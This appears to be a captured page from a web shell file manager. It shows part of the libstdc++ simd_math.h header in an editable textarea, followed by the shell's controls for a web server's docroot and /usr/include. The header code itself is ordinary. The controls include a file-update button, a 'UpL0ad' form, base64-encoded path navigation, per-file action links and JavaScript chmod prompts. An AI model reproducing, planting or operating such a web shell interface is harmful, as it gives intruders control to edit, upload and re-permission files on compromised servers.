	_GLIBCXX_SIMD_USE_CONSTEXPR_API auto __signmask = _V(1) ^ _V(-1);
	return (__x &amp; ~__signmask) | (__y &amp; __signmask);
      }
  }

_GLIBCXX_SIMD_MATH_CALL2_(nextafter, _Tp)
// not covered in [parallel.simd.math]:
// _GLIBCXX_SIMD_MATH_CALL2_(nexttoward, long double)
_GLIBCXX_SIMD_MATH_CALL2_(fdim, _Tp)
_GLIBCXX_SIMD_MATH_CALL2_(fmax, _Tp)
_GLIBCXX_SIMD_MATH_CALL2_(fmin, _Tp)

_GLIBCXX_SIMD_MATH_CALL3_(fma, _Tp, _Tp)
_GLIBCXX_SIMD_MATH_CALL_(fpclassify)
_GLIBCXX_SIMD_MATH_CALL_(isfinite)

// isnan and isinf require special treatment because old glibc may declare
// `int isinf(double)`.
template &lt;typename _Tp, typename _Abi, typename...,
	  typename _R = _Math_return_type_t&lt;bool, _Tp, _Abi&gt;&gt;
  _GLIBCXX_SIMD_ALWAYS_INLINE
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, _R&gt;
  isinf(simd&lt;_Tp, _Abi&gt; __x)
  { return {__private_init, _Abi::_SimdImpl::_S_isinf(__data(__x))}; }

template &lt;typename _Tp, typename _Abi, typename...,
	  typename _R = _Math_return_type_t&lt;bool, _Tp, _Abi&gt;&gt;
  _GLIBCXX_SIMD_ALWAYS_INLINE
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, _R&gt;
  isnan(simd&lt;_Tp, _Abi&gt; __x)
  { return {__private_init, _Abi::_SimdImpl::_S_isnan(__data(__x))}; }

_GLIBCXX_SIMD_MATH_CALL_(isnormal)

template &lt;typename..., typename _Tp, typename _Abi&gt;
  _GLIBCXX_SIMD_ALWAYS_INLINE
  simd_mask&lt;_Tp, _Abi&gt;
  signbit(simd&lt;_Tp, _Abi&gt; __x)
  {
    if constexpr (is_integral_v&lt;_Tp&gt;)
      {
	if constexpr (is_unsigned_v&lt;_Tp&gt;)
	  return simd_mask&lt;_Tp, _Abi&gt;{}; // false
	else
	  return __x &lt; 0;
      }
    else
      return {__private_init, _Abi::_SimdImpl::_S_signbit(__data(__x))};
  }

_GLIBCXX_SIMD_MATH_CALL2_(isgreater, _Tp)
_GLIBCXX_SIMD_MATH_CALL2_(isgreaterequal, _Tp)
_GLIBCXX_SIMD_MATH_CALL2_(isless, _Tp)
_GLIBCXX_SIMD_MATH_CALL2_(islessequal, _Tp)
_GLIBCXX_SIMD_MATH_CALL2_(islessgreater, _Tp)
_GLIBCXX_SIMD_MATH_CALL2_(isunordered, _Tp)

/* not covered in [parallel.simd.math]
template &lt;typename _Abi&gt; __doublev&lt;_Abi&gt; nan(const char* tagp);
template &lt;typename _Abi&gt; __floatv&lt;_Abi&gt; nanf(const char* tagp);
template &lt;typename _Abi&gt; __ldoublev&lt;_Abi&gt; nanl(const char* tagp);

template &lt;typename _V&gt; struct simd_div_t {
    _V quot, rem;
};

template &lt;typename _Abi&gt;
simd_div_t&lt;_SCharv&lt;_Abi&gt;&gt; div(_SCharv&lt;_Abi&gt; numer,
					 _SCharv&lt;_Abi&gt; denom);
template &lt;typename _Abi&gt;
simd_div_t&lt;__shortv&lt;_Abi&gt;&gt; div(__shortv&lt;_Abi&gt; numer,
					 __shortv&lt;_Abi&gt; denom);
template &lt;typename _Abi&gt;
simd_div_t&lt;__intv&lt;_Abi&gt;&gt; div(__intv&lt;_Abi&gt; numer, __intv&lt;_Abi&gt; denom);
template &lt;typename _Abi&gt;
simd_div_t&lt;__longv&lt;_Abi&gt;&gt; div(__longv&lt;_Abi&gt; numer,
					__longv&lt;_Abi&gt; denom);
template &lt;typename _Abi&gt;
simd_div_t&lt;__llongv&lt;_Abi&gt;&gt; div(__llongv&lt;_Abi&gt; numer,
					 __llongv&lt;_Abi&gt; denom);
*/

// special math {{{
template &lt;typename _Tp, typename _Abi, typename = __detail::__odr_helper&gt;
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, simd&lt;_Tp, _Abi&gt;&gt;
  assoc_laguerre(const fixed_size_simd&lt;unsigned, simd_size_v&lt;_Tp, _Abi&gt;&gt;&amp; __n,
		 const fixed_size_simd&lt;unsigned, simd_size_v&lt;_Tp, _Abi&gt;&gt;&amp; __m,
		 const simd&lt;_Tp, _Abi&gt;&amp; __x)
  {
    return simd&lt;_Tp, _Abi&gt;([&amp;](auto __i) _GLIBCXX_SIMD_ALWAYS_INLINE_LAMBDA {
	     return std::assoc_laguerre(__n[__i], __m[__i], __x[__i]);
	   });
  }

template &lt;typename _Tp, typename _Abi, typename = __detail::__odr_helper&gt;
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, simd&lt;_Tp, _Abi&gt;&gt;
  assoc_legendre(const fixed_size_simd&lt;unsigned, simd_size_v&lt;_Tp, _Abi&gt;&gt;&amp; __n,
		 const fixed_size_simd&lt;unsigned, simd_size_v&lt;_Tp, _Abi&gt;&gt;&amp; __m,
		 const simd&lt;_Tp, _Abi&gt;&amp; __x)
  {
    return simd&lt;_Tp, _Abi&gt;([&amp;](auto __i) _GLIBCXX_SIMD_ALWAYS_INLINE_LAMBDA {
	     return std::assoc_legendre(__n[__i], __m[__i], __x[__i]);
	   });
  }

_GLIBCXX_SIMD_MATH_CALL2_(beta, _Tp)
_GLIBCXX_SIMD_MATH_CALL_(comp_ellint_1)
_GLIBCXX_SIMD_MATH_CALL_(comp_ellint_2)
_GLIBCXX_SIMD_MATH_CALL2_(comp_ellint_3, _Tp)
_GLIBCXX_SIMD_MATH_CALL2_(cyl_bessel_i, _Tp)
_GLIBCXX_SIMD_MATH_CALL2_(cyl_bessel_j, _Tp)
_GLIBCXX_SIMD_MATH_CALL2_(cyl_bessel_k, _Tp)
_GLIBCXX_SIMD_MATH_CALL2_(cyl_neumann, _Tp)
_GLIBCXX_SIMD_MATH_CALL2_(ellint_1, _Tp)
_GLIBCXX_SIMD_MATH_CALL2_(ellint_2, _Tp)
_GLIBCXX_SIMD_MATH_CALL3_(ellint_3, _Tp, _Tp)
_GLIBCXX_SIMD_MATH_CALL_(expint)

template &lt;typename _Tp, typename _Abi, typename = __detail::__odr_helper&gt;
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, simd&lt;_Tp, _Abi&gt;&gt;
  hermite(const fixed_size_simd&lt;unsigned, simd_size_v&lt;_Tp, _Abi&gt;&gt;&amp; __n,
	  const simd&lt;_Tp, _Abi&gt;&amp; __x)
  {
    return simd&lt;_Tp, _Abi&gt;([&amp;](auto __i) _GLIBCXX_SIMD_ALWAYS_INLINE_LAMBDA {
	     return std::hermite(__n[__i], __x[__i]);
	   });
  }

template &lt;typename _Tp, typename _Abi, typename = __detail::__odr_helper&gt;
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, simd&lt;_Tp, _Abi&gt;&gt;
  laguerre(const fixed_size_simd&lt;unsigned, simd_size_v&lt;_Tp, _Abi&gt;&gt;&amp; __n,
	   const simd&lt;_Tp, _Abi&gt;&amp; __x)
  {
    return simd&lt;_Tp, _Abi&gt;([&amp;](auto __i) _GLIBCXX_SIMD_ALWAYS_INLINE_LAMBDA {
	     return std::laguerre(__n[__i], __x[__i]);
	   });
  }

template &lt;typename _Tp, typename _Abi, typename = __detail::__odr_helper&gt;
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, simd&lt;_Tp, _Abi&gt;&gt;
  legendre(const fixed_size_simd&lt;unsigned, simd_size_v&lt;_Tp, _Abi&gt;&gt;&amp; __n,
	   const simd&lt;_Tp, _Abi&gt;&amp; __x)
  {
    return simd&lt;_Tp, _Abi&gt;([&amp;](auto __i) _GLIBCXX_SIMD_ALWAYS_INLINE_LAMBDA {
	     return std::legendre(__n[__i], __x[__i]);
	   });
  }

_GLIBCXX_SIMD_MATH_CALL_(riemann_zeta)

template &lt;typename _Tp, typename _Abi, typename = __detail::__odr_helper&gt;
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, simd&lt;_Tp, _Abi&gt;&gt;
  sph_bessel(const fixed_size_simd&lt;unsigned, simd_size_v&lt;_Tp, _Abi&gt;&gt;&amp; __n,
	     const simd&lt;_Tp, _Abi&gt;&amp; __x)
  {
    return simd&lt;_Tp, _Abi&gt;([&amp;](auto __i) _GLIBCXX_SIMD_ALWAYS_INLINE_LAMBDA {
	     return std::sph_bessel(__n[__i], __x[__i]);
	   });
  }

template &lt;typename _Tp, typename _Abi, typename = __detail::__odr_helper&gt;
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, simd&lt;_Tp, _Abi&gt;&gt;
  sph_legendre(const fixed_size_simd&lt;unsigned, simd_size_v&lt;_Tp, _Abi&gt;&gt;&amp; __l,
	       const fixed_size_simd&lt;unsigned, simd_size_v&lt;_Tp, _Abi&gt;&gt;&amp; __m,
	       const simd&lt;_Tp, _Abi&gt;&amp; theta)
  {
    return simd&lt;_Tp, _Abi&gt;([&amp;](auto __i) _GLIBCXX_SIMD_ALWAYS_INLINE_LAMBDA {
	     return std::assoc_legendre(__l[__i], __m[__i], theta[__i]);
	   });
  }

template &lt;typename _Tp, typename _Abi, typename = __detail::__odr_helper&gt;
  enable_if_t&lt;is_floating_point_v&lt;_Tp&gt;, simd&lt;_Tp, _Abi&gt;&gt;
  sph_neumann(const fixed_size_simd&lt;unsigned, simd_size_v&lt;_Tp, _Abi&gt;&gt;&amp; __n,
	      const simd&lt;_Tp, _Abi&gt;&amp; __x)
  {
    return simd&lt;_Tp, _Abi&gt;([&amp;](auto __i) _GLIBCXX_SIMD_ALWAYS_INLINE_LAMBDA {
	     return std::sph_neumann(__n[__i], __x[__i]);
	   });
  }
// }}}

#undef _GLIBCXX_SIMD_CVTING2
#undef _GLIBCXX_SIMD_CVTING3
#undef _GLIBCXX_SIMD_MATH_CALL_
#undef _GLIBCXX_SIMD_MATH_CALL2_
#undef _GLIBCXX_SIMD_MATH_CALL3_

_GLIBCXX_SIMD_END_NAMESPACE

#endif // __cplusplus &gt;= 201703L
#endif // _GLIBCXX_EXPERIMENTAL_SIMD_MATH_H_

// vim: foldmethod=marker sw=2 ts=8 noet sts=2
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/include/c++/13/experimental/bits<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWw="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=ZnNfZGlyLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=ZnNfZGlyLmg="/>fs_dir.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=ZnNfZGlyLmg=&c=`+btoa(c):0" value="0644"></td><td>10800</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=ZnNfZndkLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=ZnNfZndkLmg="/>fs_fwd.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=ZnNfZndkLmg=&c=`+btoa(c):0" value="0644"></td><td>9044</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=ZnNfb3BzLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=ZnNfb3BzLmg="/>fs_ops.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=ZnNfb3BzLmg=&c=`+btoa(c):0" value="0644"></td><td>10444</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=ZnNfcGF0aC5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=ZnNfcGF0aC5o"/>fs_path.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=ZnNfcGF0aC5o&c=`+btoa(c):0" value="0644"></td><td>39352</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=bGZ0c19jb25maWcuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=bGZ0c19jb25maWcuaA=="/>lfts_config.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=bGZ0c19jb25maWcuaA==&c=`+btoa(c):0" value="0644"></td><td>2227</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=bmV0Lmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=bmV0Lmg="/>net.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=bmV0Lmg=&c=`+btoa(c):0" value="0644"></td><td>10420</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=bnVtZXJpY190cmFpdHMuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=bnVtZXJpY190cmFpdHMuaA=="/>numeric_traits.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=bnVtZXJpY190cmFpdHMuaA==&c=`+btoa(c):0" value="0644"></td><td>16612</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=c2hhcmVkX3B0ci5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2hhcmVkX3B0ci5o"/>shared_ptr.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2hhcmVkX3B0ci5o&c=`+btoa(c):0" value="0644"></td><td>20433</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=c2ltZC5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZC5o"/>simd.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZC5o&c=`+btoa(c):0" value="0644"></td><td>180948</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=c2ltZF9idWlsdGluLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9idWlsdGluLmg="/>simd_builtin.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9idWlsdGluLmg=&c=`+btoa(c):0" value="0644"></td><td>105281</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=c2ltZF9jb252ZXJ0ZXIuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9jb252ZXJ0ZXIuaA=="/>simd_converter.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9jb252ZXJ0ZXIuaA==&c=`+btoa(c):0" value="0644"></td><td>12984</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=c2ltZF9kZXRhaWwuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9kZXRhaWwuaA=="/>simd_detail.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9kZXRhaWwuaA==&c=`+btoa(c):0" value="0644"></td><td>10182</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=c2ltZF9maXhlZF9zaXplLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9maXhlZF9zaXplLmg="/>simd_fixed_size.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9maXhlZF9zaXplLmg=&c=`+btoa(c):0" value="0644"></td><td>73001</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=c2ltZF9tYXRoLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9tYXRoLmg="/>simd_math.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9tYXRoLmg=&c=`+btoa(c):0" value="0644"></td><td>58809</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=c2ltZF9uZW9uLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9uZW9uLmg="/>simd_neon.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9uZW9uLmg=&c=`+btoa(c):0" value="0644"></td><td>16153</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=c2ltZF9wcGMuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9wcGMuaA=="/>simd_ppc.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9wcGMuaA==&c=`+btoa(c):0" value="0644"></td><td>4966</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=c2ltZF9zY2FsYXIuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9zY2FsYXIuaA=="/>simd_scalar.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF9zY2FsYXIuaA==&c=`+btoa(c):0" value="0644"></td><td>23709</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=c2ltZF94ODYuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF94ODYuaA=="/>simd_x86.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF94ODYuaA==&c=`+btoa(c):0" value="0644"></td><td>198928</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=c2ltZF94ODZfY29udmVyc2lvbnMuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF94ODZfY29udmVyc2lvbnMuaA=="/>simd_x86_conversions.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c2ltZF94ODZfY29udmVyc2lvbnMuaA==&c=`+btoa(c):0" value="0644"></td><td>82458</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&x=c3RyaW5nX3ZpZXcudGNj">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c3RyaW5nX3ZpZXcudGNj"/>string_view.tcc</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHBlcmltZW50YWwvYml0cw==&f=c3RyaW5nX3ZpZXcudGNj&c=`+btoa(c):0" value="0644"></td><td>6816</td></tr></table>